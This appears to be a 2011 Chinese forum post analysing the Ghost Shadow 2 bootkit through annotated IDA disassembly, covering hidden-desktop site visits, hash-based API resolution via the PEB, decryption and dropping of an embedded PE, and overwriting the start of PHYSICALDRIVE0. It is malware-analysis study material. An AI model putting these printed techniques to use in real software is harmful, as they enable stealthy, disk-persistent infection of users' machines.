q639656 发表于 2011-4-6 22:59

鬼影2病毒分析!~

本帖最后由 q639656 于 2011-4-6 23:01 编辑

工具:ida,od,msdn,ie,计算器
概要:
主体:释放一个文件
释放文件: 真正作用的部分看后面
本次分析只是 清明节时,无聊干得,还是有很多地方没弄懂的。。抱着学习的态度来的,笔记就发上来了,目的只为理解程序的处理思路。
释放文件部分写的不那么详细了,一方面太多了,另一方面能力有限。。。(本来考虑发不发上来的,算了,发上来给像我一样的菜菜们。。。呵呵。。所有详细东西看idb)

附:具体的东西 都会通过附件上传。。。给想看的人,比如像我一样的菜菜。。(原样本都在后面上传了。。给想练的人。。)
内容有点多,贴出来后,看的会很不舒服。。所以只是贴出了程序的流程部分代码,还有具体的如果贴出来就太长了,想看的看上传的两份idb。。。呵呵。。。
部分分析如下:

81 EC BC 00 00 00 sub   esp, 0BCh
.text:00401CC6 56                push    esi
.text:00401CC7 57                push    edi
.text:00401CC8 33 F6             xor   esi, esi
.text:00401CCA B9 26 00 00 00    mov   ecx, 26h
.text:00401CCF 33 C0             xor   eax, eax
.text:00401CD1 8D 7C 24 10       lea   edi,
.text:00401CD5 89 74 24 0C       mov   , esi
.text:00401CD9 89 74 24 08       mov   , esi
.text:00401CDD F3 AB             rep stosd
.text:00401CDF FF 15 F4 60 40 00 call    ds:GetInputState
.text:00401CE5 56                push    esi                   ; lParam
.text:00401CE6 56                push    esi                   ; wParam
.text:00401CE7 56                push    esi                   ; Msg
.text:00401CE8 FF 15 38 60 40 00 call    ds:GetCurrentThreadId
.text:00401CEE 50                push    eax                   ; idThread
.text:00401CEF FF 15 F0 60 40 00 call    ds:PostThreadMessageA
.text:00401CF5 56                push    esi                   ; wMsgFilterMax
.text:00401CF6 56                push    esi                   ; wMsgFilterMin
.text:00401CF7 8D 84 24 B0 00 00+lea   eax,
.text:00401CFE 56                push    esi                   ; hWnd
.text:00401CFF 50                push    eax                   ; lpMsg
.text:00401D00 FF 15 FC 60 40 00 call    ds:GetMessageA
.text:00401D06 E8 45 FD FF FF    call    sub_401A50      ;关键call
**********************
上面的部分很简单,有些调用没什么用感觉,如果谁知道,告诉菜菜。。

**********************
00401A8E 6A 00             push    0                     ; lpsa
.text:00401A90 68 00 00 00 10    push    10000000h             ; dwDesiredAccess
.text:00401A95 6A 01             push    1                     ; dwFlags
.text:00401A97 66 AB             stosw
.text:00401A99 6A 00             push    0                     ; pDevmode
.text:00401A9B 8D 4C 24 24       lea   ecx,
.text:00401A9F 6A 00             push    0                     ; lpszDevice
.text:00401AA1 51                push    ecx                   ; lpszDesktop
.text:00401AA2 89 54 24 34       mov   , edx
.text:00401AA6 AA                stosb
.text:00401AA7 FF 15 00 61 40 00 call    ds:CreateDesktopA   ; 创建第二桌面,至于为什么下面可以看到
.text:00401AAD 8B F0             mov   esi, eax
.text:00401AAF 89 74 24 10       mov   , esi
.text:00401AB3 FF 15 38 60 40 00 call    ds:GetCurrentThreadId
.text:00401AB9 50                push    eax                   ; dwThreadId
.text:00401ABA FF 15 F8 60 40 00 call    ds:GetThreadDesktop
.text:00401AC0 56                push    esi                   ; hDesktop
.text:00401AC1 FF 15 EC 60 40 00 call    ds:SetThreadDesktop   ; 上面的操作就是把当前的线程附加到自己创建的桌面上运行
.text:00401AC7 8B 35 0C 61 40 00 mov   esi, ds:DeleteUrlCacheEntry

**********************
检重点的说:
看这个call
**********************
E8 6B FD FF FF    call    sub_401910                           ;关键跟进,看看什么行为
.text:00401BA5 83 C4 08          add   esp, 8
.text:00401BA8 8B F0             mov   esi, eax
.text:00401BAA 8D 84 24 28 01 00+lea   eax,
.text:00401BB1 50                push    eax                   ; lpFileName
.text:00401BB2 6A 00             push    0                     ; nDefault
.text:00401BB4 68 74 EB 40 00    push    offset aPopspacingdela ; "PopSpacingDelayTime"
.text:00401BB9 68 94 EB 40 00    push    offset AppName      ; "Pop"
.text:00401BBE FF D5             call    ebp ; GetPrivateProfileIntA
.text:00401BC0 8D 04 80          lea   eax,
.text:00401BC3 8D 04 80          lea   eax,
.text:00401BC6 8D 0C 80          lea   ecx,
.text:00401BC9 C1 E1 03          shl   ecx, 3
.text:00401BCC 51                push    ecx                   ; dwMilliseconds
.text:00401BCD FF 15 34 60 40 00 call    ds:Sleep
.text:00401BD3 6A 00             push    0                     ; uExitCode
.text:00401BD5 56                push    esi                   ; hProcess
.text:00401BD6 FF 15 28 60 40 00 call    ds:TerminateProcess
.text:00401BDC
.text:00401BDC                   loc_401BDC:                   ; CODE XREF: sub_401A50+144_j
.text:00401BDC 83 FB 64          cmp   ebx, 64h
.text:00401BDF 0F 8C 4E FF FF FF jl      loc_401B33            ; 这里就体现了,一系列访问。。
.text:00401BDF                                                 ; 这些地方都比较明显,一看就基本知道
.text:00401BDF                                                 ; 但他用虚拟桌面进行访问,还是可以学习到东东的

**************************
跟进call
*************************
.text:00401A00 51                push    ecx
.text:00401A01 68 38 EB 40 00    push    offset aSS            ; "\"%s\" \"%s\""
.text:00401A06 52                push    edx                   ; LPSTR
.text:00401A07 FF 15 E8 60 40 00 call    ds:wsprintfA          ; 格式化要访问的东西和地址,od跑起来就看得到
.text:00401A0D 83 C4 10          add   esp, 10h
.text:00401A10 8D 44 24 10       lea   eax,
.text:00401A14 8D 4C 24 20       lea   ecx,
.text:00401A18 50                push    eax                   ; lpProcessInformation
.text:00401A19 51                push    ecx                   ; lpStartupInfo
.text:00401A1A 53                push    ebx                   ; lpCurrentDirectory
.text:00401A1B 53                push    ebx                   ; lpEnvironment
.text:00401A1C 68 00 00 00 04    push    4000000h            ; dwCreationFlags
.text:00401A21 53                push    ebx                   ; bInheritHandles
.text:00401A22 53                push    ebx                   ; lpThreadAttributes
.text:00401A23 8D 94 24 80 01 00+lea   edx,
.text:00401A2A 53                push    ebx                   ; lpProcessAttributes
.text:00401A2B 52                push    edx                   ; lpCommandLine
.text:00401A2C 53                push    ebx                   ; lpApplicationName
.text:00401A2D FF 15 14 60 40 00 call    ds:CreateProcessA   ; 上面一系列的操作就是,在自己创建的桌面上
.text:00401A2D                                                 ; 创建进程,然后访问偶们列表中的网点

看图当执行进程时:

下面的那个网页会不断地下载,变化
http://bbs.pediy.com/attachment.php?attachmentid=55872&d=1301925011



**************************
这里下载的东西只是放着,后面我们就看到怎么用
**************************

很简单的东西ida上有详细解释,只看重点

**************************
8D 54 24 08       lea   edx,
.text:00401D50 52                push    edx                   ; lpThreadId
.text:00401D51 56                push    esi                   ; dwCreationFlags
.text:00401D52 56                push    esi                   ; lpParameter
.text:00401D53 68 70 14 40 00    push    offset StartAddress   ; lpStartAddress
.text:00401D58 56                push    esi                   ; dwStackSize
.text:00401D59 56                push    esi                   ; lpThreadAttributes
.text:00401D5A FF 15 50 60 40 00 call    ds:CreateThread
.text:00401D60 8B F0             mov   esi, eax
.text:00401D62 6A FF             push    0FFFFFFFFh            ; dwMilliseconds
.text:00401D64 56                push    esi                   ; hHandle
.text:00401D65 FF 15 4C 60 40 00 call    ds:WaitForSingleObject
.text:00401D6B 56                push    esi                   ; hObject
.text:00401D6C FF 15 00 60 40 00 call    ds:CloseHandle
.text:00401D72 E8 89 FE FF FF    call    sub_401C00
.text:00401D77 5F                pop   edi
.text:00401D78 33 C0             xor   eax, eax

******************************
跟进线程处理的地方
*****************************

text:004015BD B0 6C             mov   al, 6Ch
.text:004015BF 68 92 41 86 2E    push    2E864192h
.text:004015C4 C6 44 24 36 2E    mov   , 2Eh
.text:004015C9 C6 44 24 37 64    mov   , 64h
.text:004015CE 88 44 24 38       mov   , al
.text:004015D2 88 44 24 39       mov   , al
.text:004015D6 88 5C 24 3A       mov   , bl
.text:004015DA E8 21 FA FF FF    call    sub_401000            ; 找kernel模块基地址
.text:004015DF 50                push    eax
.text:004015E0 E8 4B FA FF FF    call    sub_401030            ; 找到2E864192h 对应的项地址,用OD动态解析后其实就是
.text:004015E0                                                 ; 7C801D77 :loadLibrary
.text:004015E5 83 C4 08          add   esp, 8
.text:004015E8 8D 4C 24 2C       lea   ecx, ; msvcrt.dll
.text:004015EC A3 64 10 41 00    mov   AdrLoadLibrary, eax
.text:004015F1 68 0B 34 9B FD    push    0FD9B340Bh
.text:004015F6 51                push    ecx
.text:004015F7 FF D0             call    eax                   ; 加载msvcrt.dll
.text:004015F9 50                push    eax
.text:004015FA E8 31 FA FF FF    call    sub_401030            ; 同样找msvcrt.dll中0fd9b340bh对应项数的地址,用OD动态解析后就是:
.text:004015FA                                                 ; 77BFC407 malloc
.text:004015FF 83 C4 08          add   esp, 8


***********************
跟进一个call    sub_401000            
***********************


                  var_4= dword ptr -4
.text:00401000
.text:00401000 55                push    ebp
.text:00401001 8B EC             mov   ebp, esp
.text:00401003 51                push    ecx
.text:00401004 53                push    ebx
.text:00401005 33 DB             xor   ebx, ebx
.text:00401007 64 8B 1D 30 00 00+mov   ebx, large fs:30h   ; PEB结构地址(进程结构)
.text:00401007 00                                              ;
.text:0040100E 8B 5B 0C          mov   ebx,       ; 得到PEB_LDR_DATA结构地址
.text:00401011 8B 5B 14          mov   ebx,       ; : _LIST_ENTRY
.text:00401014 8B 1B             mov   ebx,             ; 如果想详细了解,后面会给解释
.text:00401016 8B 1B             mov   ebx,
.text:00401018 8B 5B 10          mov   ebx,
.text:0040101B 89 5D FC          mov   , ebx
.text:0040101E 8B 45 FC          mov   eax,       ; 找到kernel.dll 基质返回
.text:00401021 5B                pop   ebx
.text:00401022 8B E5             mov   esp, ebp
.text:00401024 5D                pop   ebp
.text:00401025 C3                retn
.text:00401025                   sub_401000 endp


**********************
给出解释
#include "stdafx.h"
#include "windows.h"
#include "winsvc.h"

int _tmain(int argc, _TCHAR* argv[])
{
void *PEB = NULL,
    *Ldr = NULL,
    *Flink = NULL,
    *p = NULL,
    *BaseAddress = NULL,
    *FullDllName = NULL;

__asm
{
    mov eax,fs:
    mov PEB,eax
}
Ldr = *( ( void ** )( ( unsigned char * )PEB+0x0c ) );
Flink = *( ( void ** )( ( unsigned char * )Ldr+ 0x14 ) );
p = Flink;
do
{
    BaseAddress = *( ( void ** )( ( unsigned char * )p+ 0x10 ) );
    printf("BaseAddress is %x\n",BaseAddress);
    p = *( ( void ** )p);
}
while ( Flink != p );
getchar();
return 0;
}
我们看输出就可以知道了:他加载的顺序:
http://bbs.pediy.com/attachment.php?attachmentid=55873&d=1301925011
顺序Ntdll.dll,kernel.dll
明白没,呵呵 很简单吧。。。还可以直接windbg 查看。。。


跟进 第二个call    sub_401030
55                push    ebp
.text:00401031 8B EC             mov   ebp, esp
.text:00401033 83 EC 18          sub   esp, 18h
.text:00401036 53                push    ebx
.text:00401037 56                push    esi
.text:00401038 8B 75 08          mov   esi,
.text:0040103B 57                push    edi
.text:0040103C 8B 46 3C          mov   eax,       ; e_lfanew
.text:0040103F 8B 44 30 78       mov   eax,     ; DataDirectory Export Table
.text:00401043 03 C6             add   eax, esi            ; Ex table vA
.text:00401045 8B 48 1C          mov   ecx,       ; AddressOfFunctions
.text:00401048 8B 50 24          mov   edx,       ; AddressOfNameOrdinals
.text:0040104B 8B 58 18          mov   ebx,       ; NumberOfNames
.text:0040104E 03 CE             add   ecx, esi
.text:00401050 89 4D E8          mov   , ecx
.text:00401053 8B 48 20          mov   ecx,       ; AddressOfNames
.text:00401056 03 CE             add   ecx, esi
.text:00401058 03 D6             add   edx, esi
.text:0040105A 85 DB             test    ebx, ebx
.text:0040105C 89 55 EC          mov   , edx
.text:0040105F 0F 86 8F 00 00 00 jbe   loc_4010F4
.text:00401065 8D 04 99          lea   eax,       ; Names数组中地位到最后一项的后面
.text:00401068 EB 03             jmp   short loc_40106D
.text:0040106A                   ; ----------------------------------

。。。。。
D                   loc_4010FD:                   ; CODE XREF: sub_401030+C2j
.text:004010FD 8B 55 EC          mov   edx, ; 找到我们输入的项数以后 取出地址
.text:00401100 8B 45 E8          mov   eax,
.text:00401103 33 C9             xor   ecx, ecx
.text:00401105 5F                pop   edi
.text:00401106 66 8B 0C 5A       mov   cx,
.text:0040110A 8B 04 88          mov   eax,
.text:0040110D 03 C6             add   eax, esi          ;存放地址返回

都是对pe文件的操作。。。多看会,有好处,你懂的。。。。



C A3 64 10 41 00    mov   AdrLoadLibrary, eax
.text:004015F1 68 0B 34 9B FD    push    0FD9B340Bh
.text:004015F6 51                push    ecx
.text:004015F7 FF D0             call    eax                   ; 加载msvcrt.dll
.text:004015F9 50                push    eax
.text:004015FA E8 31 FA FF FF    call    sub_401030            ; 同样找msvcrt.dll中0fd9b340bh对应项数的地址,用OD动态解析后就是:
.text:004015FA                                                 ; 77BFC407 malloc
.text:004015FF 83 C4 08          add   esp, 8
.text:00401602 8D 94 24 A0 00 00+lea   edx,
.text:00401609 A3 68 10 41 00    mov   addrMalloc, eax
.text:0040160E 53                push    ebx                   ; fCreate
.text:0040160F 6A 37             push    37h                   ; csidl
.text:00401611 52                push    edx                   ; pszPath
.text:00401612 53                push    ebx                   ; hwnd
.text:00401613 FF 15 E0 60 40 00 call    ds:SHGetSpecialFolderPathA ; 获取当前桌面的目录路劲
.text:00401619 6A 78             push    78h
.text:0040161B 6A 63             push    63h
.text:0040161D E8 FE FA FF FF    call    sub_401120            ; 随机数生成函数
.text:00401622 83 C4 08          add   esp, 8


看看此call    sub_401120
.text:00401161 E8 9A FE FF FF    call    sub_401000            ; 获取kernel模块基地址
.text:00401166 50                push    eax
.text:00401167 E8 C4 FE FF FF    call    sub_401030            ; 获取LoadLibrary地址
.text:0040116C 83 C4 08          add   esp, 8
.text:0040116F A3 64 10 41 00    mov   AdrLoadLibrary, eax
.text:00401174 68 A0 7D 33 8A    push    8A337DA0h
.text:00401179 E8 82 FE FF FF    call    sub_401000
.text:0040117E 50                push    eax
.text:0040117F E8 AC FE FF FF    call    sub_401030            ; 同样的方式获取GetTickCount地址
.text:00401184 83 C4 08          add   esp, 8
.text:00401187 A3 60 10 41 00    mov   addrGetTickCount, eax
.text:0040118C 8D 44 24 08       lea   eax,
.text:00401190 68 F2 B0 9B 0C    push    0C9BB0F2h
.text:00401195 50                push    eax
.text:00401196 FF 15 64 10 41 00 call    AdrLoadLibrary
.text:0040119C 50                push    eax
.text:0040119D E8 8E FE FF FF    call    sub_401030            ; 获取0C9BB0f2h标志在Msrcvt模块中对应的函数地址
.text:0040119D                                                 ; 77C071D3:Rand函数
.text:004011A2 83 C4 08          add   esp, 8
.text:004011A5 8D 4C 24 08       lea   ecx,
.text:004011A9 A3 58 10 41 00    mov   addrRand, eax
.text:004011AE 68 79 79 D8 4D    push    4DD87979h
.text:004011B3 51                push    ecx
.text:004011B4 FF 15 64 10 41 00 call    AdrLoadLibrary
.text:004011BA 50                push    eax
.text:004011BB E8 70 FE FF FF    call    sub_401030            ; 同样获取msvcrt中 sRand函数地址
.text:004011C0 8B 7C 24 20       mov   edi,
.text:004011C4 8B 74 24 24       mov   esi,
.text:004011C8 83 C4 08          add   esp, 8
.text:004011CB 3B FE             cmp   edi, esi
.text:004011CD A3 5C 10 41 00    mov   addrsRand, eax
.text:004011D2 75 08             jnz   short loc_4011DC
.text:004011D4 8B C7             mov   eax, edi
.text:004011D6 5F                pop   edi
.text:004011D7 5E                pop   esi
.text:004011D8 83 C4 0C          add   esp, 0Ch
.text:004011DB C3                retn
.text:004011DC                   ; ---------------------------------------------------------------------------
.text:004011DC
.text:004011DC                   loc_4011DC:                   ; CODE XREF: sub_401120+B2j
.text:004011DC FF 15 60 10 41 00 call    addrGetTickCount
.text:004011E2 50                push    eax
.text:004011E3 FF 15 5C 10 41 00 call    addrsRand
.text:004011E9 83 C4 04          add   esp, 4
.text:004011EC FF 15 58 10 41 00 call    addrRand
.text:004011F2 83 C0 03          add   eax, 3                ; 利用时间随机生成数,很通用的手法,呵呵。。
.text:004011F5 2B F7             sub   esi, edi
.text:004011F7 99                cdq
.text:004011F8 46                inc   esi
.text:004011F9 F7 FE             idiv    esi
.text:004011FB 8B C2             mov   eax, edx
.text:004011FD 03 C7             add   eax, edi
.text:004011FF 5F                pop   edi
.text:00401200 5E                pop   esi
.text:00401201 83 C4 0C          add   esp, 0Ch
.text:00401204 C3                retn
.text:00401204                   sub_401120 endp
.text:00401204


.text:0040161D E8 FE FA FF FF    call    sub_401120            ; 随机数生成函数
.text:00401622 83 C4 08          add   esp, 8
.text:00401625 50                push    eax
.text:00401626 6A 79             push    79h
.text:00401628 6A 62             push    62h
.text:0040162A E8 F1 FA FF FF    call    sub_401120
.text:0040162F 83 C4 08          add   esp, 8
.text:00401632 50                push    eax
.text:00401633 6A 7A             push    7Ah
.text:00401635 6A 61             push    61h
.text:00401637 E8 E4 FA FF FF    call    sub_401120            ; 生成三个随机数
.text:0040163C 83 C4 08          add   esp, 8
.text:0040163F 8D 4C 24 40       lea   ecx, ; 数据:堆栈地址=013BFB48, (ASCII "\%s%c%c%c.tmp")
.text:0040163F                                                 ;
.text:0040163F                                                 ;
.text:00401643 8D 94 24 AC 01 00+lea   edx, ; 后面格式化保存地方
.text:0040164A 50                push    eax
.text:0040164B 8D 44 24 1C       lea   eax, ; TVC 前面局部变量
.text:0040164F 50                push    eax
.text:00401650 51                push    ecx                   ; LPCSTR
.text:00401651 52                push    edx                   ; LPSTR
.text:00401652 FF 15 E8 60 40 00 call    ds:wsprintfA          ; 格式化 生成 013BFCB4ASCII "\TVClhe.tmp" 后面三个数
.text:00401652                                                 ; 格式化为字符



8C 24 A0 00 00+lea   ecx,
.text:00401669 50                push    eax                   ; lpString2
.text:0040166A 51                push    ecx                   ; lpString1
.text:0040166B FF 15 1C 60 40 00 call    ds:lstrcatA         ; 和桌面路径结合生成路径
.text:0040166B                                                 ; "C:\Documents and Settings
.text:0040166B                                                 ; \All Users\Documents\My Videos\TVClhe.tmp"
.text:0040166B                                                 ;
.text:0040166B                                                 ;
.text:00401671 68 00 78 00 00    push    7800h               ; _DWORD
.text:00401676 FF 15 68 10 41 00 call    addrMalloc
.text:0040167C 83 C4 04          add   esp, 4
.text:0040167F 8B E8             mov   ebp, eax
.text:00401681 B9 00 1E 00 00    mov   ecx, 1E00h
.text:00401686 33 C0             xor   eax, eax
.text:00401688 53                push    ebx                   ; hTemplateFile
.text:00401689 68 80 00 00 10    push    10000080h             ; dwFlagsAndAttributes
.text:0040168E 6A 03             push    3                     ; dwCreationDisposition
.text:00401690 53                push    ebx                   ; lpSecurityAttributes
.text:00401691 8B FD             mov   edi, ebp
.text:00401693 6A 03             push    3                     ; dwShareMode
.text:00401695 8D 54 24 2C       lea   edx,
.text:00401699 68 00 00 00 C0    push    0C0000000h            ; dwDesiredAccess
.text:0040169E F3 AB             rep stosd
.text:004016A0 52                push    edx                   ; lpFileName
.text:004016A1 FF 15 10 60 40 00 call    ds:CreateFileA      ; 打开物理设备PHYSICALDRIVE0
.text:004016A1                                                 ; :注释 一般\\.\PHYSICALDRIVE0可以表示
.text:004016A1                                                 ; 主机硬盘,通过createfile,和readfile可以读取信息
.text:004016A1                                                 ; 又啰嗦了一下

不解释
.text:004016B0 0F 84 40 02 00 00 jz      loc_4018F6
.text:004016B6 53                push    ebx                   ; dwMoveMethod
.text:004016B7 53                push    ebx                   ; lpDistanceToMoveHigh
.text:004016B8 53                push    ebx                   ; lDistanceToMove
.text:004016B9 56                push    esi                   ; hFile
.text:004016BA FF 15 0C 60 40 00 call    ds:SetFilePointer   ; 开始处进行准备定位读取
.text:004016C0 83 F8 FF          cmp   eax, 0FFFFFFFFh
.text:004016C3 0F 84 26 02 00 00 jz      loc_4018EF
.text:004016C9 8D 44 24 14       lea   eax,
.text:004016CD 53                push    ebx                   ; lpOverlapped
.text:004016CE 50                push    eax                   ; lpNumberOfBytesRead
.text:004016CF 68 00 78 00 00    push    7800h               ; nNumberOfBytesToRead
.text:004016D4 55                push    ebp                   ; lpBuffer
.text:004016D5 56                push    esi                   ; hFile
.text:004016D6 FF 15 08 60 40 00 call    ds:ReadFile         ; 同样读取7800h 到开辟的空间
.text:004016DC 8A 4D 0A          mov   cl,
.text:004016DF A0 3A 70 40 00    mov   al, byte ptr word_40703A
.text:004016E4 3A C8             cmp   cl, al
.text:004016E6 75 1D             jnz   short loc_401705      ; 取硬盘信息中第oah字节,比较
.text:004016E6                                                 ; 一般不相等,先看看后面再说
.text:004016E8 8A 55 0B          mov   dl,
.text:004016EB A0 3B 70 40 00    mov   al, byte ptr word_40703A+1
.text:004016F0 3A D0             cmp   dl, al
.text:004016F2 75 11             jnz   short loc_401705
.text:004016F4 8A 45 0C          mov   al,


很明了不解释
.text:0040170A                   loc_40170A:                   ; CODE XREF: StartAddress+2BCj
.text:0040170A 8A 86 30 70 40 00 mov   al, byte_407030
.text:00401710 3A C3             cmp   al, bl
.text:00401712 74 11             jz      short loc_401725
.text:00401714 6A 69             push    69h
.text:00401716 50                push    eax
.text:00401717 E8 24 FB FF FF    call    sub_401240            ; 相当于每次循环右移动9位,相当于解密数据,
.text:00401717                                                 ; 后面口以看到,慢慢来哈
.text:0040171C 83 C4 08          add   esp, 8
.text:0040171F 88 86 30 70 40 00 mov   byte_407030, al; 比较原程序中的数据如果不是0 则处理一下放入原来位置处
.text:00401725
.text:00401725                   loc_401725:                   ; CODE XREF: StartAddress+2A2j
.text:00401725 46                inc   esi
.text:00401726 81 FE 00 78 00 00 cmp   esi, 7800h
.text:0040172C 72 DC             jb      short loc_40170A
.text:0040172E BF 00 04 00 00    mov   edi, 400h
.text:00401733
.text:00401733                   loc_401733:                   ; CODE XREF: StartAddress+2DDj
.text:00401733 BA 34 EB 40 00    mov   edx, offset aMz       ; 解密数据后,相当于一个pe二进制数据,下面寻找pe头
.text:00401738 8D 8F 30 70 40 00 lea   ecx, byte_407030
.text:0040173E 66 8B 02          mov   ax,
.text:00401741 66 3B 01          cmp   ax,
.text:00401744 74 09             jz      short loc_40174F


将原来exe文件中的pe二进制写入tmp文件,最后的行为都是通过tmp文件产生的




xt:0040177F 53                push    ebx                   ; lpOverlapped
.text:00401780 52                push    edx                   ; lpNumberOfBytesWritten
.text:00401781 8D 87 30 70 40 00 lea   eax, byte_407030
.text:00401787 68 00 6E 00 00    push    6E00h               ; nNumberOfBytesToWrite
.text:0040178C 50                push    eax                   ; lpBuffer
.text:0040178D 56                push    esi                   ; hFile
.text:0040178E FF 15 04 60 40 00 call    ds:WriteFile          ; 将得到的二进制pe数据写入TVClhe.tmp文件中去
.text:00401794 56                push    esi                   ; hObject
.text:00401795 FF 15 00 60 40 00 call    ds:CloseHandle
ext:004017B6 74 11             jz      short loc_4017C9
.text:004017B8 6A 69             push    69h
.text:004017BA 50                push    eax
.text:004017BB E8 50 FA FF FF    call    sub_401210            ; 此处向左循环移位69h,还原数据
.text:004017C0 83 C4 08          add   esp, 8
.text:004017C3 88 86 30 70 40 00 mov   byte_407030, al
.text:004017C9



text:004017EA 53                push    ebx                   ; lDistanceToMove
.text:004017EB 56                push    esi                   ; hFile
.text:004017EC FF 15 0C 60 40 00 call    ds:SetFilePointer   ; 定位磁盘中的位置准备写入。。太邪恶了
.text:004017F2 83 F8 FF          cmp   eax, 0FFFFFFFFh
.text:004017F5 74 17             jz      short loc_40180E
.text:004017F7 8D 4C 24 14       lea   ecx,
.text:004017FB 53                push    ebx                   ; lpOverlapped
.text:004017FC 51                push    ecx                   ; lpNumberOfBytesWritten
.text:004017FD 68 00 78 00 00    push    7800h               ; nNumberOfBytesToWrite
.text:00401802 68 30 70 40 00    push    offset byte_407030    ; lpBuffer
.text:00401807 56                push    esi                   ; hFile
.text:00401808 FF 15 04 60 40 00 call    ds:WriteFile          ; 写入7800h字节 估计就是破坏磁盘系统,不敢跑,其实不是
.text:00401808                                                 ; 后面就可以看到了,他还有其他作用
.text:0040180E
.text:0040180E                   loc_40180E:                   ; CODE XREF: StartAddress+385j



.text:00401818 E8 79 05 00 00    call    sub_401D96            ; 释放空间
.text:0040181D 83 C4 04          add   esp, 4
.text:00401820 8D 54 24 18       lea   edx,
.text:00401824 53                push    ebx                   ; hTemplateFile
.text:00401825 68 80 00 00 10    push    10000080h             ; dwFlagsAndAttributes
.text:0040182A 6A 03             push    3                     ; dwCreationDisposition
.text:0040182C 53                push    ebx                   ; lpSecurityAttributes
.text:0040182D 6A 03             push    3                     ; dwShareMode
.text:0040182F 68 00 00 00 C0    push    0C0000000h            ; dwDesiredAccess
.text:00401834 52                push    edx                   ; lpFileName
.text:00401835 FF 15 10 60 40 00 call    ds:CreateFileA      ; 继续打开磁盘
.text:0040183B 8B F0             mov   esi, eax
.text:0040183D 83 FE FF          cmp   esi, 0FFFFFFFFh
.text:00401840 74 2C             jz      short loc_40186E
.text:00401842 53                push    ebx                   ; dwMoveMethod
.text:00401843 53                push    ebx                   ; lpDistanceToMoveHigh
.text:00401844 53                push    ebx                   ; lDistanceToMove
.text:00401845 56                push    esi                   ; hFile
.text:00401846 FF 15 0C 60 40 00 call    ds:SetFilePointer   ; 定位开始位置,begin
.text:0040184C 83 F8 FF          cmp   eax, 0FFFFFFFFh
.text:0040184F 74 1D             jz      short loc_40186E
.text:00401851 8D 44 24 14       lea   eax,
.text:00401855 53                push    ebx                   ; lpOverlapped
.text:00401856 50                push    eax                   ; lpNumberOfBytesRead
.text:00401857 8D 8C 24 B0 02 00+lea   ecx,
.text:0040185E 68 00 02 00 00    push    200h                  ; nNumberOfBytesToRead
.text:00401863 51                push    ecx                   ; lpBuffer
.text:00401864 56                push    esi                   ; hFile
.text:00401865 FF 15 08 60 40 00 call    ds:ReadFile         ; 读出512个字节,就是刚才写入的
.text:0040186B 56                push    esi                   ; hObject
.text:0040186C FF D7             call    edi ; CloseHandle
.text:0040186E 80 BC 24 A8 02 00+cmp   , 72h ; 此处检验刚才写入磁盘中的数据是否成功
.text:0040186E 00 72                                           ; 有张图片可以看一下,由于磁盘中的数据,
.text:0040186E                                                 ; 本省就是从exe中的,直接计算出exe地址
.text:0040186E                                                 ; 为0x004070a3看数据就明白了
.text:00401876 75 7E             jnz   short loc_4018F6
.text:00401878 80 BC 24 A9 02 00+cmp   , 3


检验开始(在后面也会遇到,就是tmp文件中也会检测)
看图片:http://bbs.pediy.com/attachment.php?attachmentid=55874&d=1301925011



&&&
:004018A7 52                push    edx                   ; lpStartupInfo
.text:004018A8 C7 44 24 60 44 00+mov   , 44h
.text:004018B0 FF 15 18 60 40 00 call    ds:GetStartupInfoA
.text:004018B6 8D 44 24 4C       lea   eax,
.text:004018BA 8D 4C 24 5C       lea   ecx,
.text:004018BE 50                push    eax                   ; lpProcessInformation
.text:004018BF 51                push    ecx                   ; lpStartupInfo
.text:004018C0 53                push    ebx                   ; lpCurrentDirectory
.text:004018C1 53                push    ebx                   ; lpEnvironment
.text:004018C2 53                push    ebx                   ; dwCreationFlags
.text:004018C3 53                push    ebx                   ; bInheritHandles
.text:004018C4 53                push    ebx                   ; lpThreadAttributes
.text:004018C5 8D 94 24 BC 00 00+lea   edx,
.text:004018CC 53                push    ebx                   ; lpProcessAttributes
.text:004018CD 52                push    edx                   ; lpCommandLine
.text:004018CE 53                push    ebx                   ; lpApplicationName
.text:004018CF 66 89 9C 24 B4 00+mov   , bx
.text:004018D7 FF 15 14 60 40 00 call    ds:CreateProcessA   ; 如果已经检验成功,就执行刚才生成的刚才的那个
.text:004018D7                                                 ;桌面文件进程 以.tmp 文件执行进程,第一次听说过。。
.text:004018D7                                                 ; 但却是是这样运行的
.text:004018DD 5F                pop   edi
.text:004018DE 5E                pop   esi


以上就是主体:详细可以看ida pack。。


将后缀tmp 改为exe脱壳 进行调试:
接着看看 释放文件:(只看重要部分,详细的写不起。。。见idb)
.text:0040AA30 E8 5B 04 00 00    call    sub_40AE90            ; 直接自己装载自己要用的函数地址
.text:0040AA35 FF 15 30 C2 40 00 call    GetInputState         ; 获取调用线程有没有键盘鼠标消息,感觉没啥用
.text:0040AA35                                                 ; ,知道的大大告诉俺一下
.text:0040AA3B 53                push    ebx                   ; _DWORD
.text:0040AA3C 53                push    ebx                   ; _DWORD
.text:0040AA3D 53                push    ebx                   ; _DWORD
.text:0040AA3E FF 15 D4 C1 40 00 call    addrGetCurrentThreadId
.text:0040AA44 50                push    eax                   ; _DWORD
.text:0040AA45 FF 15 34 C2 40 00 call    addrPostThreadMessageA ; 向线程发空消息
.text:0040AA45                                                 ; 注释:发送一个空消息是激发消息循环马上工作
.text:0040AA4B 53                push    ebx                   ; _DWORD
.text:0040AA4C 53                push    ebx                   ; _DWORD
.text:0040AA4D 8D 44 24 58       lea   eax,
.text:0040AA51 53                push    ebx                   ; _DWORD
.text:0040AA52 50                push    eax                   ; _DWORD
.text:0040AA53 FF 15 38 C2 40 00 call    addrGetMessageA       ; 将消息取出,感觉他就是为了是循环活动起来
.text:0040AA53                                                 ; ,但并不影响我的分析
.text:0040AA59 53                push    ebx                   ; bShow
.text:0040AA5A FF 15 9C 11 40 00 call    ShowCursor            ; 将鼠标隐藏
.text:0040AA5A                                                 ; 注释:为了方便调试,先修改ebx,过去在还原
.text:0040AA5A                                                 ; 又多话了。。。
.text:0040AA60 68 D0 07 00 00    push    7D0h                  ; _DWORD
.text:0040AA65 FF 15 50 C1 40 00 call    addrsSleep





.text:0040AB81 53                push    ebx                   ; _DWORD 下面开始 是一系列的线程创建
.text:0040AB82 53                push    ebx                   ; _DWORD
.text:0040AB83 53                push    ebx                   ; _DWORD
.text:0040AB84 68 20 7E 40 00    push    offset sub_407E20   ; 生成文件
.text:0040AB89 53                push    ebx                   ; _DWORD
.text:0040AB8A 53                push    ebx                   ; _DWORD
.text:0040AB8B FF 15 D0 C1 40 00 call    addrCreateThread
.text:0040AB91 50                push    eax                   ; _DWORD
.text:0040AB92 FF 15 54 C1 40 00 call    addrCloseHandle
.text:0040AB98 53                push    ebx                   ; _DWORD
